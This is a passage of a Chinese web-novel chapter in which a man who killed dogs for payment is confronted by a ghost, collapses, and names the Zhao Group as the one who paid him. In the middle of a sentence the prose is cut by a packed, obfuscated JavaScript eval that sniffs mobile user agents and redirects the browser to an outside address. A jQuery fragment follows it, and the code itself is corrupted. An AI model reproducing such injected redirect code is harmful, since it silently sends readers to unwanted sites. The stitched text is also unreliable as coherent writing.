看,他做的都是對的,就像是那個有錢人和他們說的那樣,“上天對你們不公,你們做這些,隻是向上天表達你們的不滿。”
“上天是個混蛋,你們不吵不鬨,他就不會理你。你們隻有將內心的不滿發泄出來,叫上天聽到,他才會關照你們。”
“就是因為你們讓那些過得比人還好的畜生發出了慘叫聲,所以上天才會安排我,來為你們送上財富……”
他做的分明都是對的,為什麼要回答它們為什麼?它們又不是人,死了就死了,憑什麼追問他為什麼?
弱肉強食才是這個世界的真正法則,這些畜生們就是低他一等,死了也是活該,死的再慘,也是活該!
陳彪這麼想著,緩緩放下了抱頭的雙手。他吞咽了一口唾沫,猩紅的眼睛直勾勾地看著為首的那隻金毛。
這麼多的狗,管它是活的還是死的,活著的時候都不能把他怎麼樣,死了就能奈他何了嗎?
陳彪抬起雙手,朝著金毛伸出去。
他要掐住它的脖子,狠狠地擰斷,即使
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12802566|123118||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
是鬼,也要它再次死在他的手裡。
這些都是應該的,他沒有錯!
就在陳彪馬上碰觸到金毛時,一隻手握住了他的胳膊。那隻手的手背大部分是青白色的,可指尖的皮肉卻是黑色的,指甲是血紅色的,很長,很尖,仿佛能輕易刺穿人的皮肉,抓破他的心臟。
陳彪沿著那隻手,抬頭向上看去。他看了一個鬼,一個真真正正的女鬼。
女鬼穿著一身古代人的衣服,站在血紅色的月光下,衣服也是血紅色的。她長發披散著,滿臉血跡斑駁,眼神木然、空茫無措。
而她的喉嚨處,有一根木釘從正中間穿過,皮肉稀碎,像是一個血窟窿。
那女鬼看著他,突然問道:“我慘死百年,托生不得,我隻要抓一個人代替我,我就能解脫了,你願意幫我這個忙嗎?”
女鬼的聲音淒厲尖銳,像是在茫茫山穀中一樣,帶著回音般的混響。她明明在說話,嘴巴卻一動未動。
陳彪害怕了,他掙紮著要甩開那隻手,胡亂地往後退著,嘴裡連連尖叫:“我不!我不!冤有頭債有主,不是我害死的你,你彆來找我!你彆來找我!”
可不論他如何掙紮用力,那隻手依舊死死地鉗製住他的胳膊,怎麼甩也甩不掉。
女鬼歪了歪頭,隨著她歪頭的動作,木釘與骨骼摩擦,咯吱咯吱的響。
她的聲音又響起來了,“弱肉強食,你打不過我,就該代替我留在地府,幫我解脫。這是你,活該的。”
弱肉強食……
活該的……
活該——
不,不應該是這樣的!
她的慘死又不是他造成的,為什麼來找他?他打不過她,憑什麼就活該替她死?
為什麼?
憑什麼?
他為什麼要虐殺那些狗,他的悲慘似乎也不是它們造成的……那些狗,憑什麼慘死在他手下……
他錯了嗎?可他分明是對的!他得到了獎賞,就是對的!
一時間,對錯是非,支撐陳彪活了近三十年的世界觀轟然崩塌,他的精神崩潰了。
不知不覺,他將心中所想也咕噥出口,他一遍遍地重複著:“我得到了獎賞,我是對的……我得到了獎賞,我是對的……”
女鬼依舊鉗製著他的胳膊,可是他已經感覺不到了。
他覺得自己仿佛被無數鬼魂包圍著,他們叫囂著,將他拖到了無底的深淵。在這裡,黑白顛倒,對錯交織,一切都是模糊的,錯亂的。
他聽到一道潤朗的男聲響起,問他:“你得到的,是什麼獎賞?”
“錢,很多的錢。”他不知道自己為什麼要回答,可是他已經不會思考了,隻是如同被本能驅使一般,機械地回答著。
那道男聲又問道:“誰給你的?”
陳彪答:“趙……趙氏集團。”
那道男聲沒有再響起,陳彪隻覺得自己的眼皮越來越重,風聲、雷聲混合交雜,伴隨著滾滾風雷,所有的罪惡一起反撲,所有的魂靈前來質問,他感覺,自己的靈魂正在被帶走。